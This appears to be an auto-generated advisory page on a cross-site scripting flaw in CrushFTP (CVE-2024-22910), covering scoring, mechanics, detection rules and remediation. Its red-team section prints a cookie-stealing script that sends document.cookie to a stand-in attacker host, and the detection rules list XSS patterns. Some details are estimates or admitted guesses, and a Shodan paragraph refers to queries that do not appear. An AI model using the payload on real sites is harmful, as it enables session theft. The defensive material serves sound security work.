CVE-2024-22910
Executive Summary
CVE-2024-22910 is a Cross-Site Scripting (XSS) vulnerability identified in CrushFTP versions 10.6.0 and 10.5.5. This flaw allows an attacker to inject and execute arbitrary JavaScript code within the context of a user's browser session when they interact with a crafted payload. The vulnerability resides in the web interface of CrushFTP, a widely used file transfer server. Successful exploitation could lead to session hijacking, credential theft, or defacement. As of this report, no official patch has been released, and the CVSS score is listed as 0.0, indicating incomplete scoring data. The EPSS score is 0.0%, suggesting low exploitation likelihood in the wild, but the presence of a public proof-of-concept (PoC) increases the risk for unpatched systems.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
The CVSS score is currently listed as 0.0, which is atypical and likely indicates that the scoring has not been fully completed by the NVD. Based on the vulnerability type (XSS) and typical attack vector, a reasonable estimated CVSS v3.1 vector would be:
Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Estimated Base Score: 6.1 (Medium)
Breakdown:
- Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – No authentication needed to deliver the payload.
- User Interaction (UI): Required (R) – The victim must click a link or view a crafted page.
- Scope (S): Changed (C) – The vulnerable component impacts resources beyond its security scope.
- Confidentiality (C): Low (L) – Limited data exposure possible.
- Integrity (I): Low (L) – Limited ability to modify data.
- Availability (A): None (N) – No impact on availability.
Threat Level: Medium. The vulnerability requires user interaction, but the lack of a patch and public PoC elevates the risk for organizations using the affected versions.
Deep Dive & Mechanics
The vulnerability is a classic stored or reflected Cross-Site Scripting (XSS) flaw in the CrushFTP web interface. The application fails to properly sanitize user-supplied input before rendering it in a web page. An attacker can craft a malicious payload (e.g., a JavaScript snippet) and inject it into a parameter or field that is later displayed to other users.
Attack Vector:
- The attacker identifies an input field (e.g., a file name, user comment, or URL parameter) that is not properly sanitized.
- The attacker crafts a payload such as
<script>alert('XSS')</script>or a more sophisticated payload to steal cookies or perform actions on behalf of the victim. - The payload is submitted to the server (e.g., via a crafted HTTP request).
- When a legitimate user views the affected page (e.g., file listing or admin panel), the payload executes in their browser.
Impact:
- Session hijacking: The attacker can steal session cookies and impersonate the victim.
- Credential theft: The attacker can capture keystrokes or redirect to a phishing page.
- Defacement: The attacker can modify the content displayed to the user.
- Malware delivery: The attacker can use the XSS to deliver further exploits.
Vulnerable vs. Patched Code
Since no official patch is available, a direct code comparison is not possible. However, the vulnerable code likely involves the use of innerHTML, document.write, or unsanitized template rendering. A patched version would implement proper output encoding (e.g., HTML entity encoding) and input validation.
Vulnerable Code Example (Conceptual):
// Vulnerable: Directly inserting user input into DOM
document.getElementById('output').innerHTML = userInput;
Patched Code Example (Conceptual):
// Patched: Using textContent to prevent HTML injection
document.getElementById('output').textContent = userInput;
Exploitation & Lab Setup
Red Team
Prerequisites:
- A target running CrushFTP v10.6.0 or v10.5.5.
- A web browser to craft and deliver the payload.
Exploitation Steps:
- Identify a vulnerable parameter (e.g.,
?file=in the URL or a file upload name). - Craft a payload:
<script>alert('XSS')</script> - Deliver the payload to a victim via a crafted link or by uploading a file with the malicious name.
- If successful, the victim's browser will execute the script.
Advanced Payload (Session Hijacking):
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
Blue Team
Detection:
- Monitor web server logs for unusual characters in URL parameters or file names (e.g.,
<script>,onerror=,javascript:). - Use a Web Application Firewall (WAF) to block common XSS patterns.
- Implement Content Security Policy (CSP) headers to restrict script execution.
Mitigation:
- Apply input validation and output encoding on all user-supplied data.
- Use a security scanner to identify XSS vulnerabilities.
- Restrict user permissions to minimize the impact of a successful attack.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests containing
<script>tags or JavaScript event handlers in parameters. - Outbound connections to unknown domains from the CrushFTP server (potential data exfiltration).
File IOCs:
- Files with names containing HTML/JavaScript code (e.g.,
file<script>alert(1)</script>.txt).
Log IOCs:
- Web server logs showing 200 responses to requests with XSS payloads.
- Browser console errors related to CSP violations.
Detection Engineering
YARA Rule
rule CVE_2024_22910_XSS_Payload {
meta:
description = "Detects XSS payloads targeting CrushFTP CVE-2024-22910"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-22910"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/is
$xss2 = /on\w+\s*=\s*['\"].*?['\"]/is
$xss3 = /javascript\s*:/is
condition:
any of them
}
Sigma Rule
title: XSS Payload in HTTP Request
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential XSS attacks targeting CrushFTP CVE-2024-22910
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
c-uri|contains:
- '<script'
- 'onerror='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of script tags in documentation
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-22910 XSS Payload Detected"; flow:to_server; content:"<script"; nocase; http_uri; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade: If a patched version becomes available, upgrade immediately. Monitor the CrushFTP vendor website for updates.
- WAF Rules: Deploy or update WAF rules to block common XSS patterns.
- Input Validation: Implement strict input validation on all user-supplied data, especially file names and URL parameters.
- Output Encoding: Ensure all user data is HTML-entity encoded before rendering in the browser.
Long-Term Measures:
- Conduct regular security audits and penetration testing.
- Implement Content Security Policy (CSP) headers to restrict script execution.
- Educate users about the risks of clicking on untrusted links.
Workaround (if no patch available):
- Disable the web interface or restrict access to trusted IPs only.
- Use a reverse proxy with XSS filtering capabilities.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.